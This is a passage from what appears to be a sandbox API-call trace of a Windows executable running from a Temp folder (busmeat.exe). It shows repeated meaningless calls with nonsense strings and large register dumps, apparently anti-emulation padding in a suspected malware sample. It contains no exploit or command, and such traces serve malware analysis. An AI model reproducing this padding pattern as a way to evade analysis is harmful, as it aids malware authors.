[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.304] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.305] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.305] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.305] GetConsoleCP () returned 0x0
	[0066.305] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.305] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.306] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.306] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.306] GetConsoleCP () returned 0x0
	[0066.306] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.307] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.307] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.307] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.307] GetConsoleCP () returned 0x0
	[0066.307] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 